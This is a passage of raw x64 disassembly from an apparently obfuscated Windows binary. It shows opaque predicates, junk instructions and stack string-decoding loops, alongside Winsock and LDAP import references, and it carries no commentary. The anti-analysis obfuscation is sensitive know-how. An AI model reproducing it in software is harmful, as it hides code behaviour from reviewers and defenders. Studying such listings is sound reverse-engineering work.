and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x73
jmp 0x1400817a5
movabs rdx, 0x8c8f46ceaf4bc708
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x38
add r10b, dl
jmp 0x14008233e
movabs rdx, 0x1a1fdb4c39664dce
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
inc r9
dec rbx
inc rbx
jmp 0x140081792
movabs rcx, 0xa7b06fc9c380d494
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0xc
dec rbx
inc rbx
jmp 0x140081792
movabs rcx, 0x354104474d9b5b5a
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x76
jmp 0x14008238f
movabs rdx, 0xc2d198c4d7b5e220
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400823da
movabs rcx, 0x50622d4261d068e6
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x4a
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140081792
movabs rdx, 0xddf2c1bfebeaefac
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x140082230
movabs rdx, 0x6b83563d76057672
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x1e
add r10b, dl
jmp 0x140082263
movabs rdx, 0xf913eabb001ffd38
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, byte [rbp + rbx + 0xd30]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140081792
movabs rcx, 0xdafd5df4d9624e27
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x11
mov byte [rbp + rbx + 0xd30], r10b
inc rbx
jmp 0x140081792
movabs rcx, 0x688df272637cd4ed
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x7b
cmp r9, 0x64
jb 0x140081c4a
movabs rdx, 0xcc326afd7cb7268e
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
lea r10d, [rcx + rcx]
jmp 0x14008233e
movabs rcx, 0xf61e86efed975bb3
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x1b
cmp r8, 0xa
jae 0x140082184
lea rax, [r9 + 0xa]
cmp r8, rax
jbe 0x1400820ac
movabs rdx, 0x53d837e4e1c06a4a
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 6
add r10b, dl
jmp 0x140081c79
movabs rcx, 0x83af1b6d77b1e279
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x4f
lea rax, [r9 + r8]
cmp rax, 0x28
je 0x1400821b4
lea rax, [r9 + 3]
cmp r8, rax
jbe 0x140081fbb
movabs rcx, 0xa2464f0b0bd6f169
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x21
jmp 0x140081cc8
movabs rdx, 0x296b751b0378d546
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, listen
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, byte [rbp + rbx + 0xd30]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140081792
movabs rcx, 0xb6fc09988d935c0c
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x54
jmp 0x140082263
movabs rdx, 0x448c9e1617ade2d2
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_33
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x140082230
movabs rcx, 0xd21d3293a1c86998
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x28
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140081792
movabs rdx, 0x5fadc7112be2f05e
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400823da
movabs rdx, 0xed3e5b8eb5fd7724
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 2
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14008238f
movabs rcx, 0x7acef00c4017fdea
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x66
dec rbx
inc rbx
jmp 0x140081792
movabs rdx, 0x85f8489ca3284b0
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_26
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
inc r9
dec rbx
inc rbx
jmp 0x140081792
movabs rcx, 0x95f01907544d0b76
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x3a
jmp 0x14008233e
lea rax, [r9 + 0x40]
cmp r8, rax
jae 0x140081f16
lea rcx, [rbx + r15]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x4b
jmp 0x140081d26
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140081f54
movabs rcx, 0x6323d1b3abd2f1c2
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x4e
movzx eax, byte [rbp + rbx + 0xd30]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140081792
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140081f85
movabs rdx, 0x4802a8b8979de436
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x7a
add r10b, dl
jmp 0x140082230
lea rax, [r9 + 8]
cmp r8, rax
jne 0x140081d26
movabs rdx, 0xf69f2dc75afebb92
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 1
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14008233e
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140081fe8
movabs rcx, 0x14b5ba8d81bc6aa3
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x75
jmp 0x14008233e
inc rax
cmp r8, rax
jne 0x14008201d
movabs rcx, 0x8725260ff7a1e3dd
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0xb
inc r9
dec rbx
inc rbx
jmp 0x140081792
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14008204e
movabs rdx, 0x6c03fd14e36cd651
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x37
add r10b, dl
jmp 0x14008238f
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14008207b
movabs rcx, 0xde73689759524f8b
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x33
jmp 0x1400823da
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140081cc8
movabs rcx, 0xc3523f9c451d41ff
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 7
jmp 0x140082230
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400820ef
movabs rdx, 0xc647a36757a5e384
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, byte [rbp + rbx + 0xd30]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140081792
inc rax
cmp r8, rax
jne 0x14008211b
movabs rcx, 0x38b70ee9cd8b5cbe
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x32
jmp 0x140082263
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14008214d
movabs rdx, 0x274bcf3a52141a6
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_60
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14008238f
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140081c79
movabs rcx, 0x74e428761b06bae0
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x20
dec rbx
inc rbx
jmp 0x140081792
movabs rdx, 0x3ea1d67ff29c9fc8
add rdx, rbx
movzx eax, dl
and al, r11b
add al, al
movzx r10d, byte [rbp + rbx + 0xd30]
sub r10b, al
sub r10b, 0x78
add r10b, dl
add r10b, r11b
jmp 0x14008238f
movabs rcx, 0xb111420268821902
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, byte [rbp + rbx + 0xd30]
lea r10d, [r11 + rcx]
sub r10b, 0xe
jmp 0x140082230
movabs rcx, 0xb77cb06ffafabbeb
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x6d
movzx eax, byte [rbp + rbx + 0xd30]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140081792
movabs rcx, 0xd29dd96b0f2fc977
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x41
movabs rdx, 0xea48f7c3a374d59f
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub cl, 0x59
add cl, dl
movzx eax, cl
mov byte [rbp + rbx + 0xd30], al
inc r9
add rax, r9
sub rbx, rax
movabs rdx, 0x2380ad84de67923c
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
mov byte [rbp + rbx + 0xd30], cl
inc r8
mov rax, r13
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0xd30]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140081792
movabs rcx, 0x7b4f96e3ad7f5dc9
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x7f
jmp 0x14008238f
movabs rcx, 0x9670bfdec1b46b55
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x53
inc r9
dec rbx
inc rbx
jmp 0x140081792
movabs rcx, 0x2401545c4bcef21b
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x43
jmp 0x14008233e
movabs rcx, 0x3f227d576003ffa7
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x6f
movabs rcx, 0x56a20beb7a9e32b
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x2d
add cl, r11b
mov byte [rbp + rbx + 0xd30], cl
inc r9
dec rbx
inc rbx
jmp 0x140081792
movabs rcx, 0xe7d43acffe5393f9
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x31
movabs rcx, 0x77d98c412d8f5c65
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
add r11b, 0x3d
add r11b, r10b
add r11b, cl
mov byte [rbp + rbx + 0xd30], r11b
jmp 0x1400823da
movabs rcx, 0x7564cf4d886e1abf
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x39
add r8, r9
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140081792
movabs rcx, 0xaba72143b0d835d7
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub dl, al
lea r10d, [rcx + rdx]
add r10b, 0x1f
movzx eax, byte [rbp + rbx + 0xd30]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140081792
movabs rcx, 0xb9f16d63a01bfd91
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 9
jmp 0x140081790
movabs rcx, 0x478201e12a368457
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x61
jmp 0x140081780
lea rsi, [rbp + 0x156c6ac]
jmp 0x14008248a
lea rsi, [rbp + 0xc98349]
jmp 0x14008248a
lea rsi, [rbp + 0xd30]
lea rdx, [0x140228060]
lea rcx, [rbp + 0x5f8]
call fcn.140002680
mov rbx, rax
mov qword [rsp + 0x48], rax
mov r8, rax
lea rdx, [rbp - 0x28]
mov rcx, qword [0x14022e160]
call fcn.14006ca20
mov rdi, qword [rax]
mov rcx, rbx
call fcn.140002820
cmp byte [rdi + 0x38], 0
jne 0x1400a3852
mov byte [rbp + 0x8a8], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x8a9], Ordinal_143
mov byte [rbp + 0x8aa], 0x83
mov byte [rbp + 0x8ab], 0x86
mov byte [rbp + 0x8ac], 0x81
mov byte [rbp + 0x8ad], Ordinal_79
mov byte [rbp + 0x8ae], 0x67
mov byte [rbp + 0x8af], 0x9d
mov byte [rbp + 0x8b0], 0x9a
mov byte [rbp + 0x8b1], 0x86
mov byte [rbp + 0x8b2], 0x9e
mov byte [rbp + 0x8b3], 0x86
mov byte [rbp + 0x8b4], 0x9d
mov byte [rbp + 0x8b5], 0x85
mov byte [rbp + 0x8b6], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0x8b7], gethostname
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x8b8], xmm0
mov word [rbp + 0x8c8], ax
mov byte [rbp + 0x8ca], al
movabs r14, 0xe39f05c1207fcbe9
movabs r15, 0x997e19e5ef7ea737
movabs r12, 0xf187564d727eac2d
movzx r10d, byte [rsp + 0x40]
nop word [rax + rax]
mov r8, qword [0x14022e4a8]
mov r9, qword [0x14022e4a0]
nop
xor ebx, ebx
movabs rcx, 0x53fb61cc3e7ffd85
cmp rbx, 0x23
jae 0x140083354
movzx r11d, byte [rbp + rbx + 0x8a8]
mov rdx, r11
cmp r8, rbx
ja 0x140083348
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400825dd
add rcx, rbx
mov rax, rcx
and rax, rdx
imul r10, rax, 0xfffffffffffffffe
add r10, rcx
add r10, rdx
add r10b, 0x5d
jmp 0x140082600
je 0x1400832be
lea rax, [r9 + 3]
cmp r8, rax
je 0x14008328b
lea rax, [r9 + 4]
cmp r8, rax
je 0x140083254
nop dword [rax]
cmp r9, rbx
ja 0x14008333c
lea rax, [r9 + 5]
cmp r8, rax
jae 0x14008262e
lea rdx, [rbx + r14]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x5f
add r10b, dl
jmp 0x140082680
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400831fc
inc rax
cmp r8, rax
je 0x1400831d1
lea rax, [r9 + 3]
cmp r8, rax
je 0x14008316c
lea rax, [r9 + 4]
cmp r8, rax
je 0x140083134
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400830ff
lea rax, [r9 + 5]
cmp r8, rax
je 0x140083092
nop dword [rax + rax]
lea rax, [r8 + r9]
cmp rax, rbx
jbe 0x140082d36
nop dword [rax]
lea rax, [r9 + 1]
cmp r8, rax
je 0x140082d12
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x140082ce4
lea rax, [r9 + 4]
cmp r8, rax
je 0x140082cb5
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x140082c8f
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x140082c57
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x140082c22
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x140082bfc
lea rax, [r9 + 6]
cmp r8, rax
je 0x140082bd6
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x140082ba0
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x140082690
lea r8, [r9 + 0x64]
lea r9, [r8 + 0x42]
lea rax, [r9 + 4]
cmp r8, rax
jb 0x140083317
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x1400832f2
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x140082889
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x14008286a
lea rax, [r9 + 1]
cmp r8, rax
jb 0x14008284b
lea rax, [r9 + 6]
cmp r8, rax
jb 0x140082b3d
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x140082ade
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x140082a8b
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x140082a5b
lea rax, [r9 + 3]
cmp r8, rax
jb 0x140082690
lea r8, [r9 + 0x3e8]
lea r9, [r8 + 0x200]
lea rax, [r9 + 8]
cmp r8, rax
ja 0x140082a21
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x1400829fc
lea rax, [r9 + 1]
cmp r8, rax
ja 0x1400829d7
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x14008299e
lea rax, [r9 + 4]
cmp r8, rax
ja 0x140082962
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x14008293d
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x140082912
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x1400828e0
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x1400828ba
lea rax, [r9 + 6]
cmp r8, rax
ja 0x140082690
lea r8, [r9 + 0x61]
lea r9, [r8 + 0x1000]
jmp 0x140082690
lea rdx, [rbx + r15]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x7f
add r10b, dl
jmp 0x140082680
lea rdx, [rbx + r12]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x3b
add r10b, dl
jmp 0x140082600
movabs rdx, 0x499092b4f57eb123
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add dl, 0xb
add r10b, dl
movabs rcx, 0x53fb61cc3e7ffd85
jmp 0x1400825af
movabs rdx, 0x1cf82e0903fe5f48
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 4
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x14008321c
movabs rdx, 0x75016a7086fe643e
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
inc r9
dec rbx
inc rbx
jmp 0x140082592
movabs rcx, 0xcd0aa6d809fe6934
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x6c
dec rbx
inc rbx
jmp 0x140082592
movabs rdx, 0x2513e33f8cfe6e2a
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x26
jmp 0x14008318c
movabs rdx, 0x7d1d1fa70ffe7320
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
add r8, r9
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140082592
movabs rdx, 0xd5265c0e92fe7816
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 0x33
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140082592
movabs rdx, 0x2d2f987615fe7d0c
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x54
jmp 0x14008305a
movabs rdx, 0x8538d4dd98fe8202
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0xe
jmp 0x1400830b2
movabs rdx, 0xdd4211451bfe86f8
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_30
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, byte [rbp + rbx + 0x8a8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140082592
movabs rcx, 0x39592847e37e935f
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x67
mov byte [rbp + rbx + 0x8a8], r10b
inc rbx
jmp 0x140082592
movabs rdx, 0x916264af667e9855
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x53
add r10b, dl
cmp r9, 0x40
jb 0x140082a7b
movabs rdx, 0x7628f760e6ff02fe
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 7
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
lea r10d, [rcx + rcx]
jmp 0x14008321f
movabs rdx, 0xe96ba116e97e9d4b
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0xd
add r10b, dl
cmp r8, 0x10
jae 0x140083005
lea rax, [r9 + 0x2a]
cmp r8, rax
jbe 0x140082f50
movabs rdx, 0xe685536c04ff349a
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x36
jmp 0x140082aab
movabs rdx, 0x4174dd7e6c7ea241
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x39
add r10b, dl
lea rax, [r8 + r9]
cmp rax, 8
je 0x140083032
lea rax, [r9 + 0x7a]
cmp r8, rax
jbe 0x140082e6d
movabs rdx, 0x2e64daae47f68b1
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x29
jmp 0x140082afe
movabs rcx, 0x55ba2286c2fec776
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x3a
movzx eax, byte [rbp + rbx + 0x8a8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140082592
movabs rdx, 0xadc35eee45fecc6c
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 6
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x1400830b2
movabs rdx, 0x5cc9b55c8fed162
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x14008305a
movabs rcx, 0x5dd5d7bd4bfed658
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x68
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140082592
movabs rcx, 0xb5df1424cefedb4e
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x22
add r8, r9
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140082592
movabs rdx, 0xde8508c51fee044
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x14008318c
movabs rdx, 0x65f18cf3d4fee53a
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
dec rbx
inc rbx
jmp 0x140082592
movabs rcx, 0xbdfac95b57feea30
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x50
inc r9
dec rbx
inc rbx
jmp 0x140082592
movabs rcx, 0x160405c2dafeef26
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0xa
jmp 0x14008321f
lea rax, [r9 + 0x3e8]
cmp r8, rax
jae 0x140082d67
movabs rdx, 0x53fb61cc3e7ffd85
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x5d
jmp 0x140082b5d
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140082daa
movabs rdx, 0xc73e0b8240ff97d2
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_33
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, byte [rbp + rbx + 0x8a8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140082592
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140082dd8
movabs rdx, 0x172b92b33aff8de6
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x4a
jmp 0x14008305a
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140082e06
movabs rdx, 0xf0fdd7cb1ff7f04
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x1c
jmp 0x14008318c
lea rax, [r9 + 7]
cmp r8, rax
jne 0x140082e3a
movabs rcx, 0xb706a1152eff7a0e
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x62
dec rbx
inc rbx
jmp 0x140082592
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140082b60
movabs rdx, 0x6f4284628ff7022
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 9
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x14008321c
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140082e9b
movabs rdx, 0xaadd1143617f63bb
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x1d
jmp 0x14008321c
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140082ecf
movabs rcx, 0xfaca98745b7f59cf
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x57
dec rbx
inc rbx
jmp 0x140082592
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140082f0d
movabs rcx, 0xf2aee33dd27f4aed
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x7b
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140082592
lea rax, [r9 + 8]
cmp r8, rax
jne 0x140082b01
movabs rcx, 0xea932e07497f3c0b
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x4d
movzx eax, byte [rbp + rbx + 0x8a8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140082592
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140082f8f
movabs rcx, 0x8e7c170481ff2fa4
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x7c
movzx eax, byte [rbp + rbx + 0x8a8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140082592
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140082fcd
movabs rcx, 0x866061cdf8ff20c2
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x4e
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140082592
lea rax, [r9 + 6]
cmp r8, rax
jne 0x140082aae
movabs rcx, 0x7e44ac976fff11e0
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x20
dec rbx
inc rbx
jmp 0x140082592
movabs rdx, 0x1e1fbaf963fefe08
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, byte [rbp + rbx + 0x8a8]
sub r10b, al
sub r10b, 0x38
add r10b, r11b
jmp 0x14008318c
movabs rdx, 0xc6167e91e0fef912
add rdx, rbx
